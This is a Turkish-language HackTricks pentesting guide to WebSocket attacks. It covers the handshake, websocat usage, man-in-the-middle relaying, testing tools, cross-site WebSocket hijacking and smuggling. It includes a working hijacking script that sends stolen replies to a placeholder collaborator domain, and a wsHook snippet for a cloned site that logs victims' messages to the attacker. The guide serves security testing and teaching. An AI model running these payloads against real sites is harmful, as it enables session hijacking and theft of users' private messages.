12 KiB
WebSocket Saldırıları
AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı) öğrenin!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek isterseniz ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'u takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.
WebSockets Nedir
WebSocket bağlantıları, başlangıçta HTTP el sıkışması aracılığıyla kurulur ve işlem sistemine ihtiyaç duymadan herhangi bir zamanda çift yönlü mesajlaşma sağlamak için uzun süreli olarak tasarlanmıştır. Bu, canlı finansal veri akışları gibi düşük gecikme süresi veya sunucu başlatmalı iletişim gerektiren uygulamalar için WebSockets'in özellikle avantajlı olmasını sağlar.
WebSocket Bağlantılarının Kurulması
WebSocket bağlantılarının ayrıntılı bir açıklamasına buradan erişilebilir. Özet olarak, WebSocket bağlantıları genellikle aşağıdaki gibi istemci tarafı JavaScript kullanılarak başlatılır:
var ws = new WebSocket("wss://normal-website.com/ws");
wss
protokolü, TLS ile güvence altına alınmış bir WebSocket bağlantısını ifade ederken, ws
güvencesiz bir bağlantıyı gösterir.
Bağlantı kurulması sırasında tarayıcı ve sunucu arasında HTTP üzerinden bir el sıkışma gerçekleştirilir. El sıkışma süreci, tarayıcının bir istek göndermesi ve sunucunun yanıt vermesini içerir. Aşağıdaki örneklerde gösterildiği gibi:
Tarayıcı bir el sıkışma isteği gönderir:
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
Sunucunun el sıkışma yanıtı:
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
Bağlantı bir kez kurulduğunda, mesaj alışverişi için bağlantı her iki yönde de açık kalır.
WebSocket El Sıkışmasının Ana Noktaları:
Connection
veUpgrade
başlıkları, WebSocket el sıkışmasının başlatıldığını belirtir.Sec-WebSocket-Version
başlığı istenen WebSocket protokol sürümünü belirtir, genellikle13
'tür.- Base64 ile kodlanmış rastgele bir değer,
Sec-WebSocket-Key
başlığında gönderilir ve her el sıkışmanın benzersiz olmasını sağlar, bu da önbellekleyen proxy'lerle ilgili sorunları önlemeye yardımcı olur. Bu değer kimlik doğrulama için değil, yanlış yapılandırılmış bir sunucu veya önbellek tarafından oluşturulan yanıtın doğruluğunu onaylamak içindir. - Sunucunun yanıtındaki
Sec-WebSocket-Accept
başlığı,Sec-WebSocket-Key
'in bir karmasıdır ve sunucunun bir WebSocket bağlantısı açma niyetini doğrular.
Bu özellikler, el sıkışma sürecinin güvenli ve güvenilir olmasını sağlar, böylece etkili gerçek zamanlı iletişim sağlanır.
Linux konsolu
websocat
kullanarak bir websocket ile doğrudan bir bağlantı kurabilirsiniz.
websocat --insecure wss://10.10.10.10:8000 -v
Veya bir websocat sunucusu oluşturmak için:
websocat -s 0.0.0.0:8000 #Listen in port 8000
MitM websocket bağlantıları
Eğer mevcut yerel ağınızdan istemcilerin bir HTTP websocket'e bağlı olduğunu tespit ederseniz, istemci ve sunucu arasında bir MitM saldırısı gerçekleştirmek için bir ARP Spoofing Saldırısı deneyebilirsiniz.
İstemci bağlantı kurmaya çalıştığında, aşağıdaki komutu kullanabilirsiniz:
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
Websocket numaralandırma
Websocket'leri otomatik olarak keşfetmek, parmak izi almak ve bilinen zayıflıkları aramak için https://github.com/PalindromeLabs/STEWS araçını kullanabilirsiniz.
Websocket Hata Ayıklama Araçları
- Burp Suite, düzenli HTTP iletişimi için yaptığı gibi MitM websocket iletişimini destekler.
- socketsleuth Burp Suite eklentisi, Burp'ta Websocket iletişimini daha iyi yönetmenizi sağlar. Geçmişi almak, interception kuralları belirlemek, eşleştirme ve değiştirme kuralları kullanmak, Intruder ve AutoRepeater kullanmak için kullanılabilir.
- WSSiP: "WebSocket/Socket.io Proxy" kısaltması olan bu Node.js yazılımı, istemci ve sunucu arasındaki tüm WebSocket ve Socket.IO iletişimini yakalamak, intercept etmek, özel mesajlar göndermek ve görüntülemek için bir kullanıcı arayüzü sağlar.
- wsrepl, özellikle penetrasyon testi için tasarlanmış etkileşimli bir websocket REPL'dir. Gelen websocket mesajlarını gözlemlemek ve yeni mesajlar göndermek için bir arayüz sağlar ve bu iletişimi otomatikleştirmek için kolay kullanımlı bir çerçeve sunar.
- https://websocketking.com/, websockets kullanarak diğer web siteleriyle iletişim kurmak için bir web sağlar.
- https://hoppscotch.io/realtime/websocket, diğer iletişim/protokol türlerinin yanı sıra websockets kullanarak diğer web siteleriyle iletişim kurmanızı sağlar.
Websocket Laboratuvarı
Burp-Suite-Extender-Montoya-Course içinde, websockets kullanarak bir web sitesi başlatmak için bir kod bulunur ve bu yazıda açıklama bulabilirsiniz.
Cross-site WebSocket kaçırma (CSWSH)
Cross-site WebSocket kaçırma, WebSocket el sıkışmalarını etkileyen Cross-Site Request Forgery (CSRF)'nin belirli bir durumu olarak tanımlanır. Bu zayıflık, WebSocket el sıkışmalarının yalnızca HTTP çerezleri aracılığıyla kimlik doğrulaması yapması durumunda ortaya çıkar ve CSRF tokenları veya benzeri güvenlik önlemleri kullanılmaz.
Saldırganlar, zayıf bir uygulamaya karşı bir çapraz site WebSocket bağlantısı başlatan kötü niyetli bir web sayfası barındırarak bunu sömürebilir. Sonuç olarak, bu bağlantı, oturum işleme mekanizmasındaki CSRF korumasının eksikliğini sömürerek, bağlantının kurbanın oturumuyla birlikte işlenmesi olarak kabul edilir.
Basit Saldırı
Unutmayın ki websocket bağlantısı kurulduğunda, çerez sunucuya gönderilir. Sunucu, gönderilen çerezlere dayanarak her belirli kullanıcıyı websocket oturumuyla ilişkilendirebilir.
Örneğin, eğer websocket sunucusu, "READY" iletilmesi durumunda bir kullanıcının konuşma geçmişini geri gönderiyorsa, basit bir XSS bağlantı kurarak (çerez, kurban kullanıcıyı yetkilendirmek için otomatik olarak gönderilecektir) "READY" göndermek, konuşma geçmişini alabilir.
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
Farklı bir alt alan adıyla Cross Origin + Cookie
Bu blog yazısında https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/, saldırgan web soket iletişiminin gerçekleştiği alan adının alt alan adında keyfi JavaScript kodu çalıştırmayı başardı. Alt alan adı olduğu için çerez gönderiliyordu ve Websocket Origin'i doğru şekilde kontrol etmediği için onunla iletişim kurarak onun içinden token çalmak mümkün oldu.
Kullanıcıdan veri çalmak
Taklit etmek istediğiniz web uygulamasını (örneğin .html dosyalarını) kopyalayın ve web soket iletişiminin gerçekleştiği betik içine aşağıdaki kodu ekleyin:
//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}
Şimdi wsHook.js
dosyasını https://github.com/skepticfx/wshook adresinden indirin ve web dosyalarının bulunduğu klasöre kaydedin.
Web uygulamasını açığa çıkararak ve bir kullanıcının buna bağlanmasını sağlayarak, websocket üzerinden gönderilen ve alınan mesajları çalabilirsiniz:
sudo python3 -m http.server 80
Yarış Koşulları
WebSockets'te Yarış Koşulları da önemlidir, daha fazla bilgi için bu bilgilere bakın.
Diğer zayıflıklar
WebSockets, verileri sunucu tarafına ve istemci tarafına göndermek için bir mekanizma olduğundan, sunucu ve istemcinin bilgileri nasıl işlediğine bağlı olarak, WebSockets, bir kullanıcının bir web soketinden giriş kullanarak XSS, SQLi veya diğer yaygın web zafiyetlerini sömürmek için kullanılabilir.
WebSocket Smuggling
Bu zayıflık, ters proxy kısıtlamalarını atlamak için bir web soketi iletişimi kurulmuş gibi yaparak onlara inandırmanıza izin verebilir (gerçek olmasa bile). Bu, bir saldırganın gizli uç noktalara erişmesine olanak tanır. Daha fazla bilgi için aşağıdaki sayfaya bakın:
{% content-ref url="h2c-smuggling.md" %} h2c-smuggling.md {% endcontent-ref %}
Referanslar
AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Red Team Expert)'ı öğrenin!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Family koleksiyonumuzu keşfedin, özel NFT'lerimizi görün
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'u takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github reposuna PR göndererek paylaşın.